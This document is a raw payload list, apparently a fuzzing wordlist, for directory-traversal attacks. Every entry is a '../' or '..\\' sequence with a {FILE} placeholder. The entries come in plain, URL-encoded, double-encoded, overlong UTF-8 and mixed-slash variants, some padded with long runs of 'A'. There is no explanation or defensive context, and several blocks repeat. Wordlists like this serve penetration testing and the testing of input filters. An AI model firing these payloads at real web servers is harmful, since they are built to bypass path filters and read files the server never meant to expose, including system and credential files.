%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}<br /> ..%%35%63{FILE}<br /> ..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> 